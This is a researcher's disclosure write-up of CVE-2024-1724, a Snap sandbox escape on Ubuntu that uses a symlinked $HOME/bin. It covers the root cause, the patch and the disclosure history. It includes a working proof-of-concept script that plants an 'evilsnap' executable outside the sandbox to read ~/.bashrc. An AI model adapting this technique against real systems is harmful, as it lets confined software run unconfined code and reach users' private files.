Explaining CVE-2024-1724

ยท 1328 words ยท 7 minute read

I recently found a bug in Snap, a package manager for Ubuntu and other Linux distributions, which allows the snap to escape the sandbox and run arbitrary code (as the user) if the home permission is set. This exploit could be run on a vanilla install of Ubuntu and was patched in commit aa191f9 on 13th March 2024.

Precondition 1 ๐Ÿ”—

The Snap package manager is installed on Ubuntu by default. Users can use the package manager to download and install software from the Snap Store, which Canonical runs. Snap packages run in a sandbox, with restrictions imposed by AppArmor, seccomp etc. The snap packager can request permissions to loosen those restrictions, such as the joystick permission to obtain access to certain gamepad hardware, or the home permission for read and write access to the user’s home directory.

Some permissions require manual approval by the user, but Canonical’s policy is to activate the home permission automatically if requested by the snap packager. Even with home set, some restrictions are placed on the snap, such as being unable to access dot-files or dot-directories in the first layer of the home directory. These restrictions are imposed by AppArmor rules and are intended to stop the snap accessing, for example, a user’s SSH keys.

Precondition 2 ๐Ÿ”—

When a user logs in to an interactive shell on vanilla Ubuntu, the file $HOME/.profile is sourced and executed by the shell. The default .profile contains the lines:

# set PATH so it includes user's private bin if it exists
if [ -d "$HOME/bin" ] ; then
    PATH="$HOME/bin:$PATH"
fi

The directory $HOME/bin is not present on a clean install, but if the user creates it, it is prepended to their $PATH when they log in. Any executables in that directory can be run by typing the name alone without specifying a path. This allows users to install software for personal use and conveniently run it without root access.

As the $HOME/bin directory is added to the beginning of the $PATH variable, the shell will search that path for an executable first. For example, if the user has added an executable called top to that directory, when they type top into the shell it will run that program, rather than the system-installed /usr/bin/top.

(As an aside, I don’t know how many users are aware of this feature or would associate a “bin” directory with binaries/executables rather than a “recycle bin”/trash directory.)

The vulnerability ๐Ÿ”—

Based on the above, it is obvious that if a snap can write to $HOME/bin, it can pollute the user’s system with executables which, if activated, will run outside the snap’s sandbox. The developers have attempted to prevent this with an AppArmor rule:

# Disallow writes to the well-known directory included in
# the user's PATH on several distributions
audit deny @{HOME}/bin/{,**} wl,

This rule is quite effective in preventing a snap creating the $HOME/bin directory, and in preventing reading or writing files within that directory if it exists, including more exotic approaches such as making hard links or mounts.

However, it does not prevent the snap from creating a symbolic link called $HOME/bin, pointing to a directory that the snap can control. The shell will then treat the referenced directory as if it were $HOME/bin, and executables within this directory will be available in the user’s path. These executables can impersonate other tools and run outside the sandbox. On a fresh Ubuntu install, $HOME/bin does not exist so that the snap can create it without issue.

I constructed a proof-of-concept snap, based on this shell script:

#! /bin/bash

FILE=".bashrc"

if [ ! -d "$SNAP_REAL_HOME/bin" ]; then
        mkdir -p "$SNAP_REAL_HOME/bintmp"
        cat << EOF > "$SNAP_REAL_HOME/bintmp/evilsnap"
#! /bin/bash
cp ~/$FILE ~/snap/evilsnap/current/
snap run evilsnap
EOF
        chmod +x "$SNAP_REAL_HOME/bintmp/evilsnap"
        ln -s "$SNAP_REAL_HOME/bintmp/" "$SNAP_REAL_HOME/bin"
fi

# this should always fail due to confinement
if [ -f "$SNAP_REAL_HOME/$FILE" ]; then
        cat "$SNAP_REAL_HOME/$FILE" 2>/dev/null && exit 0
fi

# check if payload has moved file into confined area
if [ -f "$SNAP_USER_DATA/$FILE" ]; then
        cat "$SNAP_USER_DATA/$FILE"
        exit 0
fi

echo "Could not access $FILE"
echo "Try logging out and back in then running evilsnap again"

The script attempts to print out the user’s ~/.bashrc file, which shouldn’t be possible with home permissions as it is a dot-file under the top level of the user’s home directory.

$ snap install evilsnap
evilsnap 0.1 installed
$ which evilsnap
/snap/bin/evilsnap
$ evilsnap
Could not access .bashrc
Try logging out and back in then running evilsnap again

On the first run, the snapped script is called. It cannot access .bashrc due to confinement. However:

$ ls -l ~/bin
lrwxrwxrwx 1 theuser theuser 18 Feb 28 11:04 /home/theuser/bin -> /home/theuser/bintmp/
$ ls -l ~/bin/
total 4
-rwxrwxr-x 1 theuser theuser 69 Feb 28 11:04 evilsnap

There is now a malicious payload in a new directory, and $HOME/bin is a symbolic link to that directory. The next time the user logs in:

$ which evilsnap
/home/theuser/bin/evilsnap
$ evilsnap
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

... snip ...

When evilsnap is invoked, it calls the unconfined script under the linked $HOME/bin directory. This example passes the .bashrc file to a directory where the snap can read it, then passes control back to the snap. But other applications are left to the reader’s imagination.

This example is deliberately noisy. More subtle approaches are possible.

Abrogation ๐Ÿ”—

The snap daemon has now been patched with an extended AppArmor rule to prevent the creation of the symbolic link. The fix is a one-liner:

diff --git a/interfaces/builtin/home.go b/interfaces/builtin/home.go
index 998ca254f0..9b8f485e36 100644
--- a/interfaces/builtin/home.go
+++ b/interfaces/builtin/home.go
@@ -79,6 +79,7 @@ owner /run/user/[0-9]*/gvfs/*/**  w,
 # Disallow writes to the well-known directory included in
 # the user's PATH on several distributions
 audit deny @{HOME}/bin/{,**} wl,
+audit deny @{HOME}/bin wl,

Remaining issues ๐Ÿ”—

The user may have other directories in $HOME in their path (for example, if they have installed specific software development kits in their home directory). These directories are well known, and the snap could add/modify binaries there. This would be easier to exploit and conceal than the above attack but would not affect as many users.

The gaping issue remains: any snap can access all the “normal” files in a user’s home directory without restriction. I would guess that 99% of computer users do not possess a set of SSH keys, but just about all of them will have precious files stored in their home directories, which could be a target of ransomware encryption, exfiltration, mischief or blackmail.

I think it is incumbent on Canonical to change the policy of “home gets approved and connected silently and by default” as soon as possible. In the meantime, users should not trust the snap sandbox to protect their files.

Acknowledgments ๐Ÿ”—

Thanks to the Ubuntu Security Team (in particular, Alex Murray) for giving this their swift attention. We went from report to fix in a few hours. Also, many thanks to Alan Pope for testing, feedback, editing and advice.

References ๐Ÿ”—

A minor grumble ๐Ÿ”—

Despite friendly, timeous and swift attention by the Security Team, I’ve had no contact or communication from the Snap Team about this issue. I’ve been keen to be a good community member and not disclose the vulnerability prematurely, but I’ve been left in the dark about plans for disclosure from the Snap side. By using the members of the #ubuntu-security channel on Libera.chat as a proxy, I’ve probably ascertained that the Snap Team may be planning to disclose on 1st July 2024. As such, I’ve gone ahead with this post as we’re well beyond the usual 90-day disclosure threshold. Lack of communication makes me grumpy and I’d be less enthused to engage in this process in the future.

Feedback ๐Ÿ”—

I can be contacted about this report by email at cve at mcphail dot uk.